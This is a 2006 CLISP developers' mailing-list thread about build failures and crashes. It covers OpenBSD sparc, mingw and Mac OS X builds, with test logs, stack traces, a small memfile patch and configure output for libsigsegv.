Is it possible to use asdf-install in CLISP under windows XP system? I 
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Thanks in advance!
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Hi,

I have a sucessful build on OpenBSD 3.9 sparc with one small change.

In the generated clisp.h file there was a line:

register p_backtrace_t back_trace __asm__("%g4");

The word register had to be removed from the front of that.

Things in general look good with  make check but it does crash with:   

./foo -x "(setq zz 10) (saveinitmem \"foo\")"
./foo: operating system error during load of initialization file
+`/home/edoneel/tmp/clisp-2.39/sparcbuild/foo'
[spvw_memfile.d:1684] errno = EFAULT: Bad address.
*** Error code 1

Stop in /home/edoneel/tmp/clisp-2.39/sparcbuild (line 3758 of Makefile).

Thanks very much.  I'm so happy to have a lisp on my OpenBSD system!

cheers

bruce

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Hi Bruce,

Bruce O'Neel wrote:
> I have a sucessful build on OpenBSD 3.9 sparc with one small change.
> 
> In the generated clisp.h file there was a line:
> 
> register p_backtrace_t back_trace __asm__("%g4");
> 
> The word register had to be removed from the front of that.

why?
please search for back_trace_register in lispbibl.d

> Things in general look good with  make check but it does crash with:   
> 
> ./foo -x "(setq zz 10) (saveinitmem \"foo\")"
> ./foo: operating system error during load of initialization file
> +`/home/edoneel/tmp/clisp-2.39/sparcbuild/foo'
> [spvw_memfile.d:1684] errno = EFAULT: Bad address.
> *** Error code 1
> 
> Stop in /home/edoneel/tmp/clisp-2.39/sparcbuild (line 3758 of Makefile).

this is probably fixed by the 2006-07-25 patch by Werner Fink:

Index: spvw_memfile.d
===================================================================
RCS file: /cvsroot/clisp/clisp/src/spvw_memfile.d,v
retrieving revision 1.108
retrieving revision 1.109
diff -u -w -u -b -w -i -B -r1.108 -r1.109
--- spvw_memfile.d	19 Jun 2006 13:48:48 -0000	1.108
+++ spvw_memfile.d	25 Jul 2006 20:05:51 -0000	1.109
@@ -969,7 +969,8 @@
          }                                                               \
        } while(0)
     begin_read:
-    set_file_offset(0);
+    if (mem_searched) set_file_offset(mem_start);
+    else set_file_offset(0);
      /* read basic information: */
      READ(&header,sizeof(header));
      if (header._magic != memdump_magic) {
===================================================================

> Thanks very much.  I'm so happy to have a lisp on my OpenBSD system!

great! did you build with libsigsev? if yes, could you please do "make 
distrib" and the file clisp-2.39-....tar.gz downloadable for me? I will 
make it available on SF.

Sam.



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> * Bruce O'Neel <rqbarry@fqs.ybarfgne.bet> [2006-09-02 16:24:02 +0000]:
>
> I moved the following lines to the front of clisp.h:
>
> typedef void * gcv_object_t;
> #ifndef IN_MODULE_CC
> register gcv_object_t* STACK __asm__("%g5"); 
> #endif
>
> struct backtrace_t {
>   struct backtrace_t* bt_next;
>   gcv_object_t bt_function;
>   gcv_object_t *bt_stack;
>   int bt_num_arg;
> };
> typedef struct backtrace_t * p_backtrace_t;
>
> #ifndef IN_MODULE_CC
> register p_backtrace_t back_trace __asm__("%g4");
> #endif
>
> and that got rid of the error that said that a global register
> variable was defined after a function.

can you figure out what is that function?
can you patch lispbibl.d (or genclisph.d) to fix that?

> I still get this warning:
> /home/edoneel/tmp/clisp-2.39/sparcbuild/clisp.h:22: warning: call-clobbered register used for global register variable

I think this is OK.

> http://edoneel.chaosnet.org/clisp/clisp-2.39-sparc-unknown-openbsd3.9-3.9.tar.gz
uploaded, thanks.

this does not appear to include rawsock or readline.
do you have readline on your system?

could you please test rawsock?
(add "rawsock" to the MODULES= line in your sparcbuild/Makefile and do
"make full mod-check")
thanks.

> Yes, I did build with libsigsegv but the tests for stackoverflow are
> skipped.  I'll look into this.

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Hi,

On Sat, Sep 02, 2006 at 11:44:10PM -0400, Sam Steingold wrote:
> 
> this does not appear to include rawsock or readline.
> do you have readline on your system?
> 
> could you please test rawsock?
> (add "rawsock" to the MODULES= line in your sparcbuild/Makefile and do
> "make full mod-check")
> thanks.
> 
> > Yes, I did build with libsigsegv but the tests for stackoverflow are
> > skipped.  I'll look into this.
> 

Hmm, make full mod-check crashes when I add rawsock to the MODULES line.

("/home/edoneel/tmp/clisp-2.39/sparcbuild/base/lisp.run" "-M"
 "/home/edoneel/tmp/clisp-2.39/sparcbuild/base/lispinit.mem" "-B"
 "/home/edoneel/tmp/clisp-2.39/sparcbuild" "-norc" "-q" "-on-error" "abort")
WARNING: locale: no encoding 646, using ISO-8859-1WARNING: locale: no encoding 646, using ISO-8859-1

"[1]>"
EQL-OK: T
(STRINGP (PROC-SEND *PROC1* "(setq s (open ~S :direction :output :if-exists :append))" (TRUENAME *TMP1*)))
"[1]>"
EQL-OK: T
(STRINGP (PROC-SEND *PROC2* "(setq s (open ~S :direction :output :if-exists :append))" (TRUENAME *TMP1*)))
"
#<OUTPUT BUFFERED FILE-STREAM CHARACTER
  #P\"/home/edoneel/tmp/clisp-2.39/sparcbuild/syscalls-tests-t31703\">
[2]>"
EQL-OK: T
(READ-FROM-STRING (PROC-SEND *PROC1* "(stream-lock s t)"))
"
#<OUTPUT BUFFERED FILE-STREAM CHARACTER
  #P\"/home/edoneel/tmp/clisp-2.39/sparcbuild/syscalls-tests-t31703\">
[2]>"
[SIMPLE-READER-ERROR]: READ from #1=#<INPUT STRING-INPUT-STREAM>: objects printed as #<...> cannot be read back in


*** - handle_fault error2 ! address = 0x77bb1852 not in [0x6851d570,0x68587000) !
SIGSEGV cannot be cured. Fault address = 0x77bb1852.
Permanently allocated: 86848 bytes.
Currently in use: 2490792 bytes.
Free space: 10392 bytes.
Segmentation fault (core dumped)
gmake: *** [base-mod-check] Error 139


The stack looks like:

#0  0x000c98a8 in RA_RA_comp (r=0xf7fe5d48, s=0x77bb183e) at rational.d:420
#1  0x0003dde8 in C_make_encoding () at encoding.d:1989
#2  0x0003dfb8 in C_make_encoding () at encoding.d:2056
#3  0x000ccaa8 in LF_minus_LF (x=0x88000000) at lfloat.d:441
#4  0x00046068 in nametype_diff_aux (pattern=0x38cb32, sample=0xc3f02a4, logical=285472, 
    previous=0xfb5d7fb0, solutions=0xf7fe62e0) at pathname.d:4367
#5  0x00045ab8 in C_pathname_match_p () at pathname.d:4145
#6  0x000cb098 in FF_FF_comp (x=0x217fa5d1, y=0x6) at ffloat.d:294
#7  0x000cb490 in FF_to_I (x=0xc3f0284) at ffloat.d:718
#8  0x000cb4dc in FF_to_I (x=0x17) at ffloat.d:718
#9  0x000cb4f8 in I_to_FF (x=0x17, signal_overflow=2368824) at ffloat.d:747
#10 0x0008a168 in gcinvariant_hashcode3_p (obj=0x8a058) at hashtabl.d:691
#11 0x0004608c in nametype_diff_aux (pattern=0x38d1f2, sample=0xc, logical=562012577, 
    previous=0x217fa1f0, solutions=0xf7fe65d8) at pathname.d:4367
#12 0x00045ab8 in C_pathname_match_p () at pathname.d:4145
#13 0x00086504 in elt_nreverse (dv=0x11a7, index=205455904, count=550432) at array.d:3700
#14 0x0008662c in elt_nreverse (dv=0xc3f0220, index=205455976, count=3789401)
    at array.d:3714
#15 0x00086fc4 in ssstring_push_extend (ssstring=0xc3f0220, ch=3745977) at array.d:4101
#16 0x0008b9dc in gcinvariant_hashcode4_p (obj=0x3928b9) at hashtabl.d:1320
#17 0x0008c0f0 in rehash (ht=0x8c044) at hashtabl.d:1517
#18 0x000433c8 in merge_dirs (p_directory=0xfb5d6000, d_directory=0x3928b9, 
    p_log=3745977, wildp=562012520, called_from_make_pathname=8010256) at pathname.d:2720
#19 0x000426dc in signal_type_error (sp=0x685119b3, frame=0x39dbf8, label=0x7a3800, 
    condition=0xfb5d7fb0) at pathname.d:2162
#20 0x000423bc in coerce_xpathname (obj=0x685119b3) at pathname.d:2030
#21 0x0003eb94 in init_encodings_1 () at encoding.d:2397
#22 0x0003ebcc in init_encodings_1 () at encoding.d:2402
#23 0x0005216c in pk_ch_concat (stream_=0x5215c) at stream.d:1833
#24 0x000489b4 in pathname_to_OSdir (pathname=0x21763711, use_default=561395368)
    at pathname.d:6014
#25 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21763711, logical=1077940354)
    at pathname.d:4605
#26 0x00045a9c in C_pathname_match_p () at pathname.d:4141
#27 0x000487ac in directory_exists (pathname=0x21763501) at pathname.d:5965
#28 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217fa101, logical=8002376)
    at pathname.d:4605
#29 0x00045a9c in C_pathname_match_p () at pathname.d:4141
#30 0x00048f70 in rename_file () at pathname.d:6145
#31 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217670b9, logical=2147483583)
    at pathname.d:4605
#32 0x00045a9c in C_pathname_match_p () at pathname.d:4141
#33 0x00048f70 in rename_file () at pathname.d:6145
#34 0x00046838 in subst_customary_case (obj=0x217690a9) at pathname.d:4549
#35 0x00045a9c in C_pathname_match_p () at pathname.d:4141
#36 0x0004ff08 in var_stream (sym=0x685144c3, strmflags=196 'D') at lispbibl.d:15306
#37 0x00048ca4 in C_delete_file () at pathname.d:6086
#38 0x00043ee4 in legal_logical_word (obj=0x21769931) at pathname.d:3186
#39 0x00042708 in C_logical_pathname () at pathname.d:2168
#40 0x000423bc in coerce_xpathname (obj=0x6851482b) at pathname.d:2030
#41 0x00052ca8 in make_echo_stream (input_stream=0x52c6c, output_stream=0x3928b9)
    at stream.d:2288
#42 0x00042ad0 in C_translate_logical_pathname () at pathname.d:2284
#43 0x00042758 in C_logical_pathname () at pathname.d:2175
#44 0x000423bc in coerce_xpathname (obj=0x68514833) at pathname.d:2030
#45 0x00042d18 in subdir_namestring_parts (path=0x391bd2, logp=3745977) at pathname.d:2357
#46 0x000426dc in signal_type_error (sp=0x6851483b, frame=0x39dbf8, label=0x7a3800, 
    condition=0xfb5d6000) at pathname.d:2162
#47 0x000423bc in coerce_xpathname (obj=0x6851483b) at pathname.d:2030
#48 0x00042fa4 in nametype_namestring_parts (name=0x38c0b2, type=0x3928b9, 
    version=0x3928b9) at pathname.d:2492
#49 0x000426dc in signal_type_error (sp=0x68514843, frame=0x39dbf8, label=0x7a3800, 
    condition=0x216f7351) at pathname.d:2162
#50 0x000423bc in coerce_xpathname (obj=0x68514843) at pathname.d:2030
#51 0x000c8418 in digits_need (len=820132, base=32) at intprint.d:148
#52 0x0004608c in nametype_diff_aux (pattern=0x38c5d2, sample=0x20, logical=8002376, 
    previous=0x7a3a10, solutions=0x685148a0) at pathname.d:4367
#53 0x00045ab8 in C_pathname_match_p () at pathname.d:4145
#54 0x000488b0 in C_probe_directory () at pathname.d:5986
#55 0x000468c4 in translate_host (subst=0x468bc, pattern=0x2176e9f9, logical=0)
    at pathname.d:4605
#56 0x00045a9c in C_pathname_match_p () at pathname.d:4141
---Type <return> to continue, or q <return> to quit---
#57 0x000517fc in make_synonym_stream (symbol=0x51784) at stream.d:1512
#58 0x000489b4 in pathname_to_OSdir (pathname=0x21726701, use_default=561145184)
    at pathname.d:6014
#59 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21726701, logical=560102385)
    at pathname.d:4605
#60 0x00045a9c in C_pathname_match_p () at pathname.d:4141
#61 0x0003ced8 in java_mbstowcs (encoding=0x7a1bf8, stream=0x21762750, srcp=0x7a1800, 
    srcend=0x7a1bf0 "", destp=0x7a1bf8, destend=0x0) at encoding.d:1198
#62 0x00039000 in C_multiple_value_call () at control.d:1734
#63 0x00012e44 in __register_frame_info ()
#64 0x00012e44 in __register_frame_info ()

cheers

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Hi,

If I do 

gmake

and then

gmake  mod-check 

it hangs:

(:DATUM :FOO :EXPECTED-TYPE
 (OR INTEGER
  (MEMBER NIL :UNSPEC :UNIX :LOCAL :INET :IMPLINK :PUP :CHAOS :DATAKIT :CCITT :IPX :NS
   :ISO :OSI :ECMA :APPLETALK :INET6 :DECNET :KEY :DLI :LAT :HYLINK :ROUTE :SNA
   :BLUETOOTH)))
EQL-OK: NIL
(INTEGERP (SHOW (SETQ *SOCK* (RAWSOCK:SOCKET :INET :STREAM NIL))))
6
EQL-OK: T
(UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6)) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*)))
[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value

ERROR!! ERROR should be NIL !
(RAWSOCK:CONNECT *SOCK* *SA-REMOTE*)
[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-REMOTE* has no value

ERROR!! ERROR should be NIL !
(EQUALP (RAWSOCK:GETPEERNAME *SOCK* T) *SA-REMOTE*)
[SIMPLE-FILE-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected

ERROR!! ERROR should be T !
(LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCK*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCK*)))))
[SIMPLE-OS-ERROR]: UNIX error 57 (ENOTCONN): Socket is not connected

ERROR!! ERROR should be T !
(SOCKET-STATUS (LIST (CONS *SOCK* :INPUT)))

My guess?  Rawsock isn't a good choice, for what ever reason, on this platform.

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> * Bruce O'Neel <rqbarry@fqs.ybarfgne.bet> [2006-09-03 18:52:53 +0000]:
>
> (UNLESS (EQUALP #(127 0 0 1) (SUBSEQ (RAWSOCK:SOCKADDR-DATA *SA-LOCAL*) 2 6)) (RAWSOCK:BIND *SOCK* *SA-LOCAL*) (NOT (LOCAL-SA-CHECK *SOCK* *SA-LOCAL*)))
> [SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SA-LOCAL* has no value


oops. 2.39 rawsock is broken on big-endian, cvs has the fix.
it would be nice if you could test cvs head.
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> * Bruce O'Neel <rqbarry@fqs.ybarfgne.bet> [2006-09-03 18:41:52 +0000]:
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>
> *** - handle_fault error2 ! address = 0x77bb1852 not in [0x6851d570,0x68587000) !
> SIGSEGV cannot be cured. Fault address = 0x77bb1852.
> Permanently allocated: 86848 bytes.
> Currently in use: 2490792 bytes.
> Free space: 10392 bytes.
> Segmentation fault (core dumped)
>
> The stack looks like:
>
> #0  0x000c98a8 in RA_RA_comp (r=0xf7fe5d48, s=0x77bb183e) at rational.d:420
> #1  0x0003dde8 in C_make_encoding () at encoding.d:1989
> #2  0x0003dfb8 in C_make_encoding () at encoding.d:2056
> #3  0x000ccaa8 in LF_minus_LF (x=0x88000000) at lfloat.d:441
> #4  0x00046068 in nametype_diff_aux (pattern=0x38cb32, sample=0xc3f02a4, logical=285472, 
>     previous=0xfb5d7fb0, solutions=0xf7fe62e0) at pathname.d:4367
> #5  0x00045ab8 in C_pathname_match_p () at pathname.d:4145
> #6  0x000cb098 in FF_FF_comp (x=0x217fa5d1, y=0x6) at ffloat.d:294
> #7  0x000cb490 in FF_to_I (x=0xc3f0284) at ffloat.d:718
> #8  0x000cb4dc in FF_to_I (x=0x17) at ffloat.d:718
> #9  0x000cb4f8 in I_to_FF (x=0x17, signal_overflow=2368824) at ffloat.d:747
> #10 0x0008a168 in gcinvariant_hashcode3_p (obj=0x8a058) at hashtabl.d:691
> #11 0x0004608c in nametype_diff_aux (pattern=0x38d1f2, sample=0xc, logical=562012577, 
>     previous=0x217fa1f0, solutions=0xf7fe65d8) at pathname.d:4367
> #12 0x00045ab8 in C_pathname_match_p () at pathname.d:4145
> #13 0x00086504 in elt_nreverse (dv=0x11a7, index=205455904, count=550432) at array.d:3700
> #14 0x0008662c in elt_nreverse (dv=0xc3f0220, index=205455976, count=3789401)
>     at array.d:3714
> #15 0x00086fc4 in ssstring_push_extend (ssstring=0xc3f0220, ch=3745977) at array.d:4101
> #16 0x0008b9dc in gcinvariant_hashcode4_p (obj=0x3928b9) at hashtabl.d:1320
> #17 0x0008c0f0 in rehash (ht=0x8c044) at hashtabl.d:1517
> #18 0x000433c8 in merge_dirs (p_directory=0xfb5d6000, d_directory=0x3928b9, 
>     p_log=3745977, wildp=562012520, called_from_make_pathname=8010256) at pathname.d:2720
> #19 0x000426dc in signal_type_error (sp=0x685119b3, frame=0x39dbf8, label=0x7a3800, 
>     condition=0xfb5d7fb0) at pathname.d:2162
> #20 0x000423bc in coerce_xpathname (obj=0x685119b3) at pathname.d:2030
> #21 0x0003eb94 in init_encodings_1 () at encoding.d:2397
> #22 0x0003ebcc in init_encodings_1 () at encoding.d:2402
> #23 0x0005216c in pk_ch_concat (stream_=0x5215c) at stream.d:1833
> #24 0x000489b4 in pathname_to_OSdir (pathname=0x21763711, use_default=561395368)
>     at pathname.d:6014
> #25 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21763711, logical=1077940354)
>     at pathname.d:4605
> #26 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> #27 0x000487ac in directory_exists (pathname=0x21763501) at pathname.d:5965
> #28 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217fa101, logical=8002376)
>     at pathname.d:4605
> #29 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> #30 0x00048f70 in rename_file () at pathname.d:6145
> #31 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217670b9, logical=2147483583)
>     at pathname.d:4605
> #32 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> #33 0x00048f70 in rename_file () at pathname.d:6145
> #34 0x00046838 in subst_customary_case (obj=0x217690a9) at pathname.d:4549
> #35 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> #36 0x0004ff08 in var_stream (sym=0x685144c3, strmflags=196 'D') at lispbibl.d:15306
> #37 0x00048ca4 in C_delete_file () at pathname.d:6086
> #38 0x00043ee4 in legal_logical_word (obj=0x21769931) at pathname.d:3186
> #39 0x00042708 in C_logical_pathname () at pathname.d:2168
> #40 0x000423bc in coerce_xpathname (obj=0x6851482b) at pathname.d:2030
> #41 0x00052ca8 in make_echo_stream (input_stream=0x52c6c, output_stream=0x3928b9)
>     at stream.d:2288
> #42 0x00042ad0 in C_translate_logical_pathname () at pathname.d:2284
> #43 0x00042758 in C_logical_pathname () at pathname.d:2175
> #44 0x000423bc in coerce_xpathname (obj=0x68514833) at pathname.d:2030
> #45 0x00042d18 in subdir_namestring_parts (path=0x391bd2, logp=3745977) at pathname.d:2357
> #46 0x000426dc in signal_type_error (sp=0x6851483b, frame=0x39dbf8, label=0x7a3800, 
>     condition=0xfb5d6000) at pathname.d:2162
> #47 0x000423bc in coerce_xpathname (obj=0x6851483b) at pathname.d:2030
> #48 0x00042fa4 in nametype_namestring_parts (name=0x38c0b2, type=0x3928b9, 
>     version=0x3928b9) at pathname.d:2492
> #49 0x000426dc in signal_type_error (sp=0x68514843, frame=0x39dbf8, label=0x7a3800, 
>     condition=0x216f7351) at pathname.d:2162
> #50 0x000423bc in coerce_xpathname (obj=0x68514843) at pathname.d:2030
> #51 0x000c8418 in digits_need (len=820132, base=32) at intprint.d:148
> #52 0x0004608c in nametype_diff_aux (pattern=0x38c5d2, sample=0x20, logical=8002376, 
>     previous=0x7a3a10, solutions=0x685148a0) at pathname.d:4367
> #53 0x00045ab8 in C_pathname_match_p () at pathname.d:4145
> #54 0x000488b0 in C_probe_directory () at pathname.d:5986
> #55 0x000468c4 in translate_host (subst=0x468bc, pattern=0x2176e9f9, logical=0)
>     at pathname.d:4605
> #56 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> ---Type <return> to continue, or q <return> to quit---
> #57 0x000517fc in make_synonym_stream (symbol=0x51784) at stream.d:1512
> #58 0x000489b4 in pathname_to_OSdir (pathname=0x21726701, use_default=561145184)
>     at pathname.d:6014
> #59 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21726701, logical=560102385)
>     at pathname.d:4605
> #60 0x00045a9c in C_pathname_match_p () at pathname.d:4141
> #61 0x0003ced8 in java_mbstowcs (encoding=0x7a1bf8, stream=0x21762750, srcp=0x7a1800, 
>     srcend=0x7a1bf0 "", destp=0x7a1bf8, destend=0x0) at encoding.d:1198
> #62 0x00039000 in C_multiple_value_call () at control.d:1734
> #63 0x00012e44 in __register_frame_info ()
> #64 0x00012e44 in __register_frame_info ()

the stack makes no sense to me (probably memory has been corrupted
before the crash).
(nametype_diff_aux cannot call LF_minus_LF &c)
could you please try to reproduce this bug with a "--with-debug" build?
http://clisp.cons.org/impnotes/faq.html#faq-debug

thanks.

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Hi
I just checked in a rather large change: now the closure object can
contain the doc string and lambda list (depending on the OPTIMIZE SPACE
declration). please test the latest cvs head (note that you will need to
recompile all your *.fas files).
http://www.podval.org/~sds/clisp/impnotes/declarations.html#space-decl
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Sam Steingold wrote:
> I just checked in a rather large change: now the closure object can
> contain the doc string and lambda list (depending on the OPTIMIZE SPACE
> declration). please test the latest cvs head (note that you will need to
> recompile all your *.fas files).
> http://www.podval.org/~sds/clisp/impnotes/declarations.html#space-decl
> thanks.

Same configuration as for
https://sourceforge.net/tracker/index.php?func=detail&aid=1550803&group_id=1355&atid=101355
, except updated to today's CVS:

I get a cascade of test failures beginning with the following:

(DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:DOCUMENTATION "return
the pointer argument as is") (:ARGUMENTS (OBJ C-POINTER))
(:RETURN-TYPE C-POINTER) (:LANGUAGE :STDC))
[SIMPLE-UNBOUND-VARIABLE]: SYSTEM::DECLARED-OPTIMIZE: symbol
SYSTEM::*DENV* has no value

CLISP quits a little while later with an error message; see

  http://scompall.nocandysw.com/_local/clisp-20060903-errors.log

for a log (29KB, 476 lines) beginning with that failure.  Complete log
(543KB, 9800 lines) available if you like.

I compared this to my log from 1 September, in which this failure does
not occur.  There are no local changes in my tree; it is a pure CVS head.

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> * Stephen Compall <f11@zrzore.sfs.bet> [2006-09-04 00:07:02 -0500]:
>
> (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:DOCUMENTATION "return
> the pointer argument as is") (:ARGUMENTS (OBJ C-POINTER))
> (:RETURN-TYPE C-POINTER) (:LANGUAGE :STDC))
> [SIMPLE-UNBOUND-VARIABLE]: SYSTEM::DECLARED-OPTIMIZE: symbol
> SYSTEM::*DENV* has no value

you are too fast :-)
I fixed this a couple of minutes after I sent the message.

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build on mingw is ok
(I did not test more)

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OK, I briefly searched the archives, and found a similar problem for
Windows, but didn't see the solution for a Mac. Sorry. Please point me to
the answer if I missed it.

I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4
and the GNU readline-5.1. The ./configure script seems to defy finding
libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done
a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h
into /usr/local/include. I checked the permissions and done a "nm", they
seem ok.

With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I
repeatedly get the same error message about missing libsigsegv.

I have also tried following the instructions for building libsigsegv locally
to clisp and done 

  ./configure --with-libsigsegv-prefix=${prefix}

Where the prefix is
 --with-libsigsegv-prefix=/Tools/clisp-2.39/tools/powerpc-apple-darwin8.7.0

The results were the same: libsigsegv.a is still missing.

How do I remedy this? I somehow did manage to build clisp-2.38 with
libsigsegv=2.2 back in March.

Any ideas? Thanks.

Joe




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> * Joe Koski <wxbfxv11@pbzpnfg.arg> [2006-09-04 20:20:00 -0600]:
>
> I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4
> and the GNU readline-5.1. The ./configure script seems to defy finding
> libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done
> a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h
> into /usr/local/include. I checked the permissions and done a "nm", they
> seem ok.
>
> With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I
> repeatedly get the same error message about missing libsigsegv.

config.log in your build directory should shed some light on the problem

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Oops...

$ ./configure
              --with-mingw --with-readline
              --with-module=dirkey --with-module=pcre
              --with-module=rawsock
              --with-module=wildcard --with-module=zlib
              --with-module=bindings/win32
              --with-libreadline-prefix=/usr/local
              --with-libtermcap-prefix=/usr/local
              --with-libpcre-prefix=/usr/local
              --build build-full
...
;; build-log: http://kavenchuk.googlepages.com/build.log

$ cd build-full/

$ full/lisp.exe -M full/lispinit.mem --version
GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935)
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
-fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE 
-DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib 
/usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a 
/usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 
-loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.4
libiconv 1.11
libreadline 5.0
Features:
(ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP 
COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
  GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE 
BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock 
wildcard zlib)
Installation directory: .\
User language: ENGLISH
Machine: PC/386 (PC/686) home [127.0.0.1]

$ full/lisp.exe -M full/lispinit.mem -norc
...
[1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE)

*** - handle_fault error2 ! address = 0x2efb0053 not in 
[0x19d70000,0x19ede784) !
SIGSEGV cannot be cured. Fault address = 0x2efb0053.
Permanently allocated: 92672 bytes.
Currently in use: 2054932 bytes.
Free space: 498400 bytes.

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Yaroslav Kavenchuk wrote:
> Oops...
> 
> $ ./configure
>               --with-mingw --with-readline
>               --with-module=dirkey --with-module=pcre
>               --with-module=rawsock
>               --with-module=wildcard --with-module=zlib
>               --with-module=bindings/win32
>               --with-libreadline-prefix=/usr/local
>               --with-libtermcap-prefix=/usr/local
>               --with-libpcre-prefix=/usr/local
>               --build build-full
> ...
> ;; build-log: http://kavenchuk.googlepages.com/build.log
> 
> $ cd build-full/
> 
> $ full/lisp.exe -M full/lispinit.mem --version
> GNU CLISP 2.39 (2006-07-16) (built 3366388079) (memory 3366388935)
> Software: GNU C 3.4.5 (mingw special)
> gcc -mno-cygwin -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 
> -fexpensive-optimizations -falign-functions=4 -D_WIN32 -DUNICODE 
> -DDYNAMIC_FFI -I. -x none /usr/local/lib/libintl.a -L/usr/local/lib 
> /usr/local/lib/libiconv.a libcharset.a libavcall.a libcallback.a 
> /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 
> -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv
> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS 
> SPVW_MIXED TRIVIALMAP_MEMORY
> libsigsegv 2.4
> libiconv 1.11
> libreadline 5.0
> Features:
> (ZLIB WILDCARD RAWSOCK PCRE DIRKEY READLINE REGEXP SYSCALLS I18N LOOP 
> COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
>   GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE 
> BASE-CHAR=CHARACTER PC386 WIN32)
> C Modules: (clisp i18n syscalls regexp readline dirkey pcre rawsock 
> wildcard zlib)
> Installation directory: .\
> User language: ENGLISH
> Machine: PC/386 (PC/686) home [127.0.0.1]
> 
> $ full/lisp.exe -M full/lispinit.mem -norc
> ...
> [1]> (win32:GetStdHandle win32:STD_OUTPUT_HANDLE)
> 
> *** - handle_fault error2 ! address = 0x2efb0053 not in 
> [0x19d70000,0x19ede784) !
> SIGSEGV cannot be cured. Fault address = 0x2efb0053.
> Permanently allocated: 92672 bytes.
> Currently in use: 2054932 bytes.
> Free space: 498400 bytes.

I no longer have access to woe32, so I cannot debug this.
FFI appears to work for bindings/glibc/ as well as
[22]> (def-call-out c-malloc (:arguments (l long))
    (:name "malloc") (:language :stdc) (:return-type c-pointer)
    (:library :default))
C-MALLOC
[23]> (c-malloc 10)
#<FOREIGN-ADDRESS #x093EF228>
[24]> (c-malloc 10)
#<FOREIGN-ADDRESS #x093EF268>
[25]> (c-malloc 10)
#<FOREIGN-ADDRESS #x093EF288>
[26]> (c-malloc 10)
#<FOREIGN-ADDRESS #x093EF298>

could you please try to debug this?

thanks.

Sam.


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on 9/4/06 9:24 PM, Sam Steingold at sds@podval.org wrote:

>> * Joe Koski <wxbfxv11@pbzpnfg.arg> [2006-09-04 20:20:00 -0600]:
>> 
>> I'm trying to build clisp-2.39 on my Mac G5 under OS X 10.4.7 with Xcode-2.4
>> and the GNU readline-5.1. The ./configure script seems to defy finding
>> libsigsegv.a regardless of its location. I've built libsigsegv-2.4 and done
>> a "make install" which puts libsigsegv.a into /usr/local/lib and sigsegv.h
>> into /usr/local/include. I checked the permissions and done a "nm", they
>> seem ok.
>> 
>> With clisp, when I try ./configure --with-libsigsegv-prefix=/usr/local, I
>> repeatedly get the same error message about missing libsigsegv.
> 
> config.log in your build directory should shed some light on the problem

Sam,

Before I e-mailed and asked the question, I did search in my clisp-2.39
build for "sigsegv." and all I could find was the message "consider
installing GNU libsigsegv". In my most recent config.log, the message occurs
twice after

configure 
--with-libsigsegv-prefix=/Tools/clisp-2.39/tools/powerpc-apple-darwin8.7.0
--cache-file=config.cache

I get

configure:8484: checking for libsigsegv
configure:8541: result: no, consider installing GNU libsigsegv

cl_cv_lib_sequent=no
cl_cv_lib_sigsegv='no, consider installing GNU libsigsegv'
cl_cv_lib_socket=no

